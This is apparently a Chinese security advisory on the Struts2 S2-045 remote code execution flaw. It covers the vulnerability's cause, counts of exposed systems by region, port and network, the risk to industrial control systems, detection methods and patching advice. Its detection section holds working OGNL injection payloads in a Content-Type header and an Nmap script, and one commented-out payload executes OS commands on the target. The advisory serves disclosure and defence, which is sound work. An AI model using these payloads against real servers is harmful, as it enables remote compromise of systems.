事件回顾
3月7日,来自安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架——Struts2存在远程代码执行的严重漏洞。目前Struts2官方已经确认漏洞(漏洞编号S2-045,CVE编号:CVE-2017-5638),并定级为高危风险。
该漏洞的影响范围: Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10。
漏洞形成的原因是因为基于Jakarta Multipart parser的文件上传模块在处理文件上传(multipart)的请求时候对异常信息做了捕获,并对异常信息做了OGNL表达式处理。但在判断content-type不正确的时候会抛出异常并且带上Content-Type属性值,攻击者可通过精心构造附带OGNL表达式的请求远程发送恶意数据包,利用该漏洞在受影响系统上执行任意命令,并造成主机系统权限被获取、数据泄漏等影响。
国内受影响情况分析
灯塔实验室在该漏洞爆发后及时监测了整个中国的IP范围和超过100个常见HTTP端口的Web服务(使用独立IP和端口访问),监测结果发现超过9000多套系统存在S2-045远程代码执行漏洞。其中受影响系统超过50套的省市超过了26个。具体受影响IP所对应的城市如下:
北京 | 1556 |
广东 | 1527 |
浙江 | 1370 |
山东 | 870 |
上海 | 442 |
四川 | 372 |
江苏 | 357 |
辽宁 | 200 |
福建 | 184 |
河南 | 178 |
湖北 | 165 |
河北 | 165 |
安徽 | 157 |
天津 | 132 |
云南 | 130 |
陕西 | 126 |
江西 | 120 |
吉林 | 116 |
贵州 | 115 |
山西 | 100 |
广西 | 99 |
湖南 | 95 |
重庆 | 92 |
内蒙古 | 82 |
黑龙江 | 67 |
甘肃 | 67 |
如果按照地市划分影响超过50套系统包含的城市如下:
北京 | 1556 |
杭州 | 1088 |
深圳 | 880 |
青岛 | 500 |
上海 | 442 |
广州 | 342 |
天津 | 132 |
成都 | 119 |
郑州 | 99 |
武汉 | 94 |
南京 | 92 |
重庆 | 92 |
济南 | 89 |
东莞 | 85 |
西安 | 73 |
沈阳 | 67 |
绵阳 | 63 |
福州 | 62 |
苏州 | 62 |
昆明 | 61 |
长春 | 59 |
合肥 | 58 |
临沂 | 57 |
宁波 | 54 |
大连 | 53 |
贵阳 | 50 |
在我们监测的100多个常用HTTP服务端口中,其中受漏洞影响系统超过50套的端口有24个,具体情况如下:
80 | 3223 |
8080 | 1164 |
81 | 959 |
8081 | 816 |
8082 | 249 |
8084 | 245 |
8888 | 191 |
8088 | 188 |
8090 | 158 |
88 | 129 |
82 | 108 |
9000 | 103 |
8089 | 87 |
9080 | 83 |
8083 | 82 |
8001 | 76 |
8085 | 72 |
8086 | 71 |
9999 | 66 |
9001 | 60 |
801 | 59 |
90 | 54 |
85 | 54 |
8002 | 50 |
另外我们对其受影响IP地址的运营商进行分析时,发现比较有意思的是:托放于阿里云的系统数量超过了2500套,还有及少一部分托放于腾讯云的系统。其中受影响超过50套系统的AS有18个,具体如下:
AS37963 Hangzhou Alibaba Advertising Co.,Ltd. | 2535 |
AS4134 Chinanet | 2270 |
AS4837 CNCGROUP China169 Backbone | 1029 |
AS9808 Guangdong Mobile Communication Co.Ltd. | 424 |
AS23724 IDC, China Telecommunications Corporation | 239 |
AS4812 China Telecom (Group) | 238 |
AS4538 China Education and Research Network Center | 198 |
AS45090 Shenzhen Tencent Computer Systems Company Limited | 191 |
AS4847 China Networks Inter-Exchange | 152 |
AS4808 China Unicom Beijing Province Network | 135 |
AS56041 China Mobile communications corporation | 85 |
AS17816 China Unicom IP network China169 Guangdong province | 75 |
AS56046 China Mobile communications corporation | 65 |
AS17623 China Unicom Shenzen network | 64 |
AS24444 Shandong Mobile Communication Company Limited | 63 |
AS38283 CHINANET SiChuan Telecom Internet Data Center | 61 |
AS56040 China Mobile communications corporation | 57 |
AS58466 CHINANET Guangdong province network | 50 |
对工控系统或工控企业的影响?
在一般情况下工控企业位于上层的信息管理系统,例如:ERP、OA、生产运行管理等系统可能使用J2EE Struts2框架开发,这些系统往往会直接暴露和发布在公网环境中,攻击者可以通过该漏洞远程执行代码,并获得主机权限,这样将导致攻击者可以利用上层信息系统,通过跳板渗透等手段,影响内网工控系统安全,所以使用Struts2框架和将应用系统发布于外网的工控企业应该引起高度注意,同时企业应该及时展开整改自查和升级工作。目前我们实验室确认了S2-045漏洞已影响线上某些风电、供热等运行管理系统,以及一些重点和知名工控企业的信息管理系统。
如何检测S2-045漏洞?
本地检查
用户可查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar 文件,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞。
远程检查
在向服务器发出的http请求报文中,修改Content-Type字段:
Content-Type:%{#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’].addHeader(‘vul’,’vul’)}.multipart/form-data,如返回response报文中存在vul:vul字段项则表明存在漏洞。
工具快速检查
我们实验室也编写了一个基于Nmap的NSE检测脚本用于快速发现S2-045漏洞。
使用方法:
1、将struts2-scan.nse复制到nmap安装目录下的scripts下。
2、使用nmap -script struts2-scan -sS -p 80,8080,81,82,83,84,85,86,87,88,8888,8088 -n -d ip -oX outscan.xml 快速检查常见HTTP端口web是否存在S2-045漏洞。
3、如果Nmap扫描插件结果提示“S2-045-*Checks vuln”则系统存在漏洞。
下载地址:https://github.com/Z-0ne/ScanS2-045-Nmap
description = [[ Struts2 S2-045 Checks ]] --- -- nmap -script struts2-scan -sS -p 80,8080,81,82,83,84,85,86,87,88,8888,8088 -n -d ip -oX outscan.xml -- -- BeaconLab http://plcscan.org/blog/ --- categories = {"discovery", "safe"} author = "Z-0ne" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" local http = require "http" local target = require "target" local shortport = require "shortport" local stdnse = require "stdnse" local table = require "table" --use script to scan any open TCP port portrule = function(host, port) return port.state == "open" end action = function(host, port) local output = stdnse.output_table() local options local payload = "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#o.println('Struts2S2045Checks!!!')).(#o.close())}" --local payload_cmd = "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" local useragent = "Mozilla/5.0" options = {header = {}, timeout = 15000} options["header"]["Content-type"] = payload options["header"]["User-Agent"] = useragent local response = http.get(host, port, "/", options) if response.status == 200 then if string.find(response.body, "Struts2S2045Checks") ~= nil then -- exclude index "php default phpinfo() page" if string.find(response.body, "phpinfo") == nil then --response: 0000 53 74 72 75 74 73 32 53 32 30 34 35 43 68 65 63 Struts2S2045Chec -- 0010 6b 73 21 21 21 ks!!! if #response.body == 21 then output["status"] = "S2-045-AChecks vuln21" return output --response: 0000 53 74 72 75 74 73 32 53 32 30 34 35 43 68 65 63 Struts2S2045Chec -- 0010 6b 73 21 21 21 0a ks!!!. elseif #response.body == 22 then output["status"] = "S2-045-AChecks vuln22" return output --response: 0000 53 74 72 75 74 73 32 53 32 30 34 35 43 68 65 63 Struts2S2045Chec -- 0010 6b 73 21 21 21 0d 0a ks!!!.. elseif #response.body == 23 then output["status"] = "S2-045-AChecks vuln23" return output elseif #response.body < 50 then output["status"] = "S2-045-AChecks" output["resplength"] = #response.body return output else output["status"] = "S2-045-AChecks lengtherror" output["resplength"] = #response.body return output end end end end if response.status == 302 then if response.location then local parseurl = http.parse_url(response.location[#response.location]) --fix location http://127.0.0.1/login.action to http://host:port/uri local response = http.get(parseurl.host,port,parseurl.path,options) if response.status == 200 then if string.find(response.body, "Struts2S2045Checks") ~= nil then if string.find(response.body, "phpinfo") == nil then if #response.body == 21 then output["status"] = "S2-045-BChecks vuln21" return output elseif #response.body == 22 then output["status"] = "S2-045-BChecks vuln22" return output elseif #response.body == 23 then output["status"] = "S2-045-BChecks vuln23" return output elseif #response.body < 50 then output["status"] = "S2-045-BChecks" output["resplength"] = #response.body return output else output["status"] = "S2-045-BChecks lengtherror" output["resplength"] = #response.body return output end end end end end end -- Debug -- if response.status == 404 and response.body then -- output["status"] = "S2-045-CChecks" -- output["res"] = response.body -- return output -- end end
其他测试工具
S2-045命令执行概念验证POC:https://github.com/tengzhangchao/Struts2_045-Poc
如何修复漏洞?
用户在修复工控系统内部存在的S2-045漏洞时,建议根据工业和信息化部印发的《工业控制系统信息安全防护指南》第二条 “配置和补丁管理” 的“在补丁安装前,需对补丁进行严格的安全评估和测试验证”,充分评估漏洞影响和升级操作方法。具体升级和修复方法如下:
升级修复
受影响用户可升级版本至Apache Struts 2.3.32 或 Apache Struts 2.5.10.1以消除漏洞影响。
Struts 2.3.32 下载地址:
https://dist.apache.org/repos/dist/dev/struts/
Struts 2.5.10.1 下载地址:
https://dist.apache.org/repos/dist/dev/struts/
相关漏洞和修复方法说明地址:
https://cwiki.apache.org/confluence/display/WW/S2-045
https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32
临时解决办法
如用户不方便升级,可采取如下临时解决方案:
删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)
相关资料
[S2-045]紧急预警!安恒研究院发现史上最严重的Struts2安全漏洞http://www.dbappsecurity.com.cn/news/n2017/201703_07_01.html
CNVD-关于Apache Struts2存在S2-045远程代码执行漏洞的安全公告
http://www.cnvd.org.cn/webinfo/show/4080
CNNVD-关于Apache Struts2(S2-045)漏洞情况的通报
http://cnnvd.org.cn/notice/show/id/8230
工业和信息化部关于印发《工业控制系统信息安全防护指南》的通知
http://www.miit.gov.cn/n1146285/n1146352/n3054355/n3057656/n3057672/c5338092/content.html
S2-045漏洞官方说明
https://cwiki.apache.org/confluence/display/WW/S2-045